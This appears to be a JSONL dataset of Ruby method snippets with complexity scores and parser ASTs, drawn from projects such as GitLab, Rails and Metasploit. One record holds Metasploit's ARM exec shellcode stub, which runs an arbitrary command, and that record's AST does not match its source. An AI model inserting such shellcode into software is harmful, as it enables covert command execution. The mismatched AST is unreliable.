{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/fixtures/development/37_timelogs.rb","start_line":13,"raw_source":"def seed!\n    ensure_users_are_reporters\n\n    print \"\\nGenerating time entries for issues and merge requests in '#{project.full_path}'\\n\"\n    seed_on_issuables(issues)\n    seed_on_issuables(merge_requests)\n  end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"seed!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ensure_users_are_reporters\"]},{\"type\":\"send\",\"children\":[null,\"print\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\nGenerating time entries for issues and merge requests in '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"full_path\"]}]},{\"type\":\"str\",\"children\":[\"'\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"seed_on_issuables\",{\"type\":\"send\",\"children\":[null,\"issues\"]}]},{\"type\":\"send\",\"children\":[null,\"seed_on_issuables\",{\"type\":\"send\",\"children\":[null,\"merge_requests\"]}]}]}]}","id":"6f8dedf3-c0a7-497a-ae70-470a43836448"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/mixins/authentication_mixin.rb","start_line":88,"raw_source":"def authentication_tokens\n    authentications.select { |a| a.kind_of?(AuthToken) }\n  end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"authentication_tokens\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authentications\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"a\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"AuthToken\"]}]}]}]}","id":"d1e47d9a-e3b7-4485-9f79-c3e045d62db2"}
{"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/lib/ruby_llm/active_record/acts_as_legacy.rb","start_line":370,"raw_source":"def extract_content\n        return content unless respond_to?(:attachments) && attachments.attached?\n\n        RubyLLM::Content.new(content).tap do |content_obj|\n          @_tempfiles = []\n\n          attachments.each do |attachment|\n            tempfile = download_attachment(attachment)\n            content_obj.add_attachment(tempfile, filename: attachment.filename.to_s)\n          end\n        end\n      end","complexity_score":23.8,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_content\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to?\",{\"type\":\"sym\",\"children\":[\"attachments\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attachments\"]},\"attached?\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"content\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RubyLLM\"]},\"Content\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"content\"]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content_obj\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@_tempfiles\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attachments\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attachment\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tempfile\",{\"type\":\"send\",\"children\":[null,\"download_attachment\",{\"type\":\"lvar\",\"children\":[\"attachment\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content_obj\"]},\"add_attachment\",{\"type\":\"lvar\",\"children\":[\"tempfile\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filename\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attachment\"]},\"filename\"]},\"to_s\"]}]}]}]}]}]}]}]}]}]}","id":"c8040ef0-dff4-4d17-8a91-a6f9cb116cb8"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/geometric_test.rb","start_line":159,"raw_source":"def test_legacy_mutation\n    p = PostgresqlPoint.create! legacy_x: [10, 20]\n\n    p.legacy_x[1] = 25\n    p.save!\n    p.reload\n\n    assert_equal [10.0, 25.0], p.legacy_x\n    assert_not_predicate p, :changed?\n  end","complexity_score":10.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_legacy_mutation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostgresqlPoint\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"legacy_x\"]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[10]},{\"type\":\"int\",\"children\":[20]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"legacy_x\"]},\"[]=\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[25]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"save!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"reload\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"float\",\"children\":[10.0]},{\"type\":\"float\",\"children\":[25.0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"legacy_x\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"lvar\",\"children\":[\"p\"]},{\"type\":\"sym\",\"children\":[\"changed?\"]}]}]}]}","id":"cc37a467-0ce1-4a4c-bab2-d449efd6c56f"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/serial_test.rb","start_line":118,"raw_source":"def test_schema_dump_with_collided_sequence_name\n      output = dump_table_schema \"foo\"\n      assert_match %r{t\\.serial\\s+\"bar_id\",\\s+null: false$}, output\n      assert_match %r{t\\.bigserial\\s+\"bar_baz_id\",\\s+null: false$}, output\n    end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_schema_dump_with_collided_sequence_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"output\",{\"type\":\"send\",\"children\":[null,\"dump_table_schema\",{\"type\":\"str\",\"children\":[\"foo\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"t\\\\.serial\\\\s+\\\"bar_id\\\",\\\\s+null: false$\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"t\\\\.bigserial\\\\s+\\\"bar_baz_id\\\",\\\\s+null: false$\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]}]}]}","id":"0bee6d13-6d3c-4240-b053-5307617d008b"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/rate_limiter.rb","start_line":26,"raw_source":"def self.clear_all_global!\n    Discourse\n      .redis\n      .without_namespace\n      .keys(\"GLOBAL::#{key_prefix}*\")\n      .each { |k| Discourse.redis.without_namespace.del k }\n  end","complexity_score":11.5,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"clear_all_global!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"redis\"]},\"without_namespace\"]},\"keys\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"GLOBAL::\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"key_prefix\"]}]},{\"type\":\"str\",\"children\":[\"*\"]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"redis\"]},\"without_namespace\"]},\"del\",{\"type\":\"lvar\",\"children\":[\"k\"]}]}]}]}","id":"687fca87-86ad-429e-99a3-65b2940bfde1"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/join_model_test.rb","start_line":263,"raw_source":"def test_include_polymorphic_has_one_defined_in_abstract_parent\n    item    = Item.includes(:tagging).find items(:dvd).id\n    tagging = taggings(:godfather)\n    assert_no_queries do\n      assert_equal tagging, item.tagging\n    end\n  end","complexity_score":12.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_include_polymorphic_has_one_defined_in_abstract_parent\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"item\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Item\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"tagging\"]}]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"items\",{\"type\":\"sym\",\"children\":[\"dvd\"]}]},\"id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"tagging\",{\"type\":\"send\",\"children\":[null,\"taggings\",{\"type\":\"sym\",\"children\":[\"godfather\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_no_queries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"tagging\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"tagging\"]}]}]}]}]}","id":"1185c729-66e4-4f35-a03c-f33123f424f6"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/callbacks_test.rb","start_line":966,"raw_source":"def test_proc_arity_0\n      calls = []\n      klass = build_class(->() { calls << :foo })\n      klass.new.run\n      assert_equal [:foo], calls\n    end","complexity_score":8.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_proc_arity_0\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"calls\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"klass\",{\"type\":\"send\",\"children\":[null,\"build_class\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"calls\"]},\"<<\",{\"type\":\"sym\",\"children\":[\"foo\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"new\"]},\"run\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"foo\"]}]},{\"type\":\"lvar\",\"children\":[\"calls\"]}]}]}]}","id":"cb35d5b1-fadd-4f48-8e3e-7daa4d7d4e34"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/metasploit/framework/login_scanner/opnsense.rb","start_line":16,"raw_source":"def get_cookie_value(response, wanted_cookie_name)\n          response.get_cookies.split('; ').find { |cookie| cookie.start_with?(wanted_cookie_name) }.split('=').last\n        end","complexity_score":9.9,"ast_json":"{\"type\":\"def\",\"children\":[\"get_cookie_value\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"response\"]},{\"type\":\"arg\",\"children\":[\"wanted_cookie_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"get_cookies\"]},\"split\",{\"type\":\"str\",\"children\":[\"; \"]}]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cookie\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cookie\"]},\"start_with?\",{\"type\":\"lvar\",\"children\":[\"wanted_cookie_name\"]}]}]},\"split\",{\"type\":\"str\",\"children\":[\"=\"]}]},\"last\"]}]}","id":"3009571d-f0a8-401d-9140-8e2184cd99a8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/database/avoid_inheritance_column.rb","start_line":15,"raw_source":"def on_send(node)\n          add_offense(node) if inheritance_column_used?(node)\n        end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"on_send\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"inheritance_column_used?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},null]}]}","id":"dc1be6bc-6672-4ed3-8e3a-e80dd5924b03"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/relation/query_methods.rb","start_line":1351,"raw_source":"def create_with!(value) # :nodoc:\n      if value\n        value = sanitize_forbidden_attributes(value)\n        self.create_with_value = create_with_value.merge(value)\n      else\n        self.create_with_value = FROZEN_EMPTY_HASH\n      end\n\n      self\n    end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"create_with!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[null,\"sanitize_forbidden_attributes\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"create_with_value=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_with_value\"]},\"merge\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"create_with_value=\",{\"type\":\"const\",\"children\":[null,\"FROZEN_EMPTY_HASH\"]}]}]},{\"type\":\"self\",\"children\":[]}]}]}","id":"b7c6baa6-8624-4f7c-b230-7b04a73d39d1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/singles/linux/armle/exec.rb","start_line":40,"raw_source":"def generate(_opts = {})\n    cmd = datastore['CMD'] || ''\n\n    \"\\x01\\x30\\x8f\\xe2\\x13\\xff\\x2f\\xe1\\x78\\x46\\x0a\\x30\" \\\n      \"\\x01\\x90\\x01\\xa9\\x92\\x1a\\x0b\\x27\\x01\\xdf\" + cmd\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"generate\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"_opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}","id":"cb495b11-8405-4e95-bbe9-aad8d035ee92"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/models/queries/meetings/filters/time_filter.rb","start_line":47,"raw_source":"def where\n    if past?\n      ['\"meetings\".\"start_time\" < ?', Time.current]\n    else\n      ['\"meetings\".\"start_time\" + \"meetings\".\"duration\" * interval \\'1 hour\\' >= ?', Time.current]\n    end\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"where\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"past?\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\"meetings\\\".\\\"start_time\\\" < ?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"current\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\"meetings\\\".\\\"start_time\\\" + \\\"meetings\\\".\\\"duration\\\" * interval '1 hour' >= ?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"current\"]}]}]}]}","id":"0644e282-0ec4-4105-bd8f-86d111be433f"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_tag_helper_test.rb","start_line":970,"raw_source":"def test_number_field_tag\n    expected = %{<input name=\"quantity\" max=\"9\" id=\"quantity\" type=\"number\" min=\"1\" />}\n    assert_dom_equal(expected, number_field_tag(\"quantity\", nil, in: 1...10))\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_number_field_tag\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"str\",\"children\":[\"<input name=\\\"quantity\\\" max=\\\"9\\\" id=\\\"quantity\\\" type=\\\"number\\\" min=\\\"1\\\" />\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"send\",\"children\":[null,\"number_field_tag\",{\"type\":\"str\",\"children\":[\"quantity\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"in\"]},{\"type\":\"erange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[10]}]}]}]}]}]}]}]}","id":"e6f15347-f837-4621-825c-d354220cf2b6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/import/source_users/reject_reassignment_service.rb","start_line":50,"raw_source":"def reassignment_token_is_valid?\n        reassignment_token == import_source_user.reassignment_token\n      end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"reassignment_token_is_valid?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reassignment_token\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"import_source_user\"]},\"reassignment_token\"]}]}]}","id":"399c9bd1-66f7-4be1-bfb6-7bc7b03e6940"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/testing/test_process.rb","start_line":22,"raw_source":"def file_fixture_upload(path, mime_type = nil, binary = false)\n        if self.class.file_fixture_path && !File.exist?(path)\n          path = file_fixture(path)\n        end\n\n        Rack::Test::UploadedFile.new(path, mime_type, binary)\n      end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"file_fixture_upload\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"optarg\",\"children\":[\"mime_type\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"binary\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"file_fixture_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},\"!\"]}]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[null,\"file_fixture\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rack\"]},\"Test\"]},\"UploadedFile\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"mime_type\"]},{\"type\":\"lvar\",\"children\":[\"binary\"]}]}]}]}","id":"ed988206-94a9-4b42-a2a1-147ae157103a"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/test/driver/multi_output.rb","start_line":34,"raw_source":"def run(flush: true, **kwargs, &block)\n          @flush_buffer_at_cleanup = flush\n          super(**kwargs, &block)\n        end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"flush\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"kwrestarg\",\"children\":[\"kwargs\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@flush_buffer_at_cleanup\",{\"type\":\"lvar\",\"children\":[\"flush\"]}]},{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kwargs\"]}]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}","id":"9e35309b-a71a-42a0-bdb7-d938248a2631"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/events_helper.rb","start_line":285,"raw_source":"def event_commit_title(message)\n    message ||= ''\n    (message.split(\"\\n\").first || \"\").truncate(70)\n  rescue StandardError\n    \"--broken encoding\"\n  end","complexity_score":8.35,"ast_json":"{\"type\":\"def\",\"children\":[\"event_commit_title\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"split\",{\"type\":\"str\",\"children\":[\"\\n\"]}]},\"first\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},\"truncate\",{\"type\":\"int\",\"children\":[70]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},null,{\"type\":\"str\",\"children\":[\"--broken encoding\"]}]},null]}]}","id":"d08e063b-ab68-4ec2-b3e3-0df429f922df"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/graphql/descriptions.rb","start_line":127,"raw_source":"def bad_start?(description)\n          string?(description) && description.value.strip.downcase.start_with?('a ', 'the ')\n        end","complexity_score":7.7,"ast_json":"{\"type\":\"def\",\"children\":[\"bad_start?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"description\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"string?\",{\"type\":\"lvar\",\"children\":[\"description\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"description\"]},\"value\"]},\"strip\"]},\"downcase\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\"a \"]},{\"type\":\"str\",\"children\":[\"the \"]}]}]}]}","id":"c10f5c61-bece-4fa9-8939-daa8d0c4571f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/mailers/emails/members.rb","start_line":70,"raw_source":"def member_source_class\n      @member_source_type.classify.constantize\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"member_source_class\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@member_source_type\"]},\"classify\"]},\"constantize\"]}]}","id":"6cf61ab3-508b-4817-8b79-29d7dd471360"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/support/repeater.rb","start_line":105,"raw_source":"def log_completion(log, attempts)\n        return unless log && attempts > 0\n\n        QA::Runtime::Logger.debug('ended retry')\n      end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"log_completion\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"log\"]},{\"type\":\"arg\",\"children\":[\"attempts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attempts\"]},\">\",{\"type\":\"int\",\"children\":[0]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"QA\"]},\"Runtime\"]},\"Logger\"]},\"debug\",{\"type\":\"str\",\"children\":[\"ended retry\"]}]}]}]}","id":"8287ff27-b605-40bf-ba04-1947f0fba06f"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb","start_line":1269,"raw_source":"def checkout_new_connection\n          raise ConnectionNotEstablished unless @automatic_reconnect\n          new_connection\n        end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"checkout_new_connection\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@automatic_reconnect\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ConnectionNotEstablished\"]}]}]},{\"type\":\"send\",\"children\":[null,\"new_connection\"]}]}]}","id":"d0face06-25c3-4740-9fa7-d6bb85312bf8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/background_migration/backfill_resource_label_events_namespace_id_and_clean_invalid.rb","start_line":31,"raw_source":"def clean_epic_records(sub_batch)\n        connection.execute(\n          <<~SQL\n            #{query_prefix(sub_batch, '(num_nonnulls(epic_id, issue_id) = 2)')}\n            UPDATE \"resource_label_events\"\n            SET\n              \"issue_id\" = NULL\n            FROM\n              \"filtered_relation\"\n            WHERE\n              \"resource_label_events\".\"id\" = \"filtered_relation\".\"id\"\n          SQL\n        )\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"clean_epic_records\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sub_batch\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query_prefix\",{\"type\":\"lvar\",\"children\":[\"sub_batch\"]},{\"type\":\"str\",\"children\":[\"(num_nonnulls(epic_id, issue_id) = 2)\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"UPDATE \\\"resource_label_events\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"SET\\n\"]},{\"type\":\"str\",\"children\":[\"  \\\"issue_id\\\" = NULL\\n\"]},{\"type\":\"str\",\"children\":[\"FROM\\n\"]},{\"type\":\"str\",\"children\":[\"  \\\"filtered_relation\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE\\n\"]},{\"type\":\"str\",\"children\":[\"  \\\"resource_label_events\\\".\\\"id\\\" = \\\"filtered_relation\\\".\\\"id\\\"\\n\"]}]}]}]}","id":"08a6b1d6-75de-4d22-b902-058ce9131753"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/op_primer/conditional_layout_component.rb","start_line":60,"raw_source":"def call\n      return render_fallback unless @condition\n\n      render @layout\n    end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@condition\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render_fallback\"]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"ivar\",\"children\":[\"@layout\"]}]}]}]}","id":"8d301156-7227-4229-9a34-04545c9ab89c"}
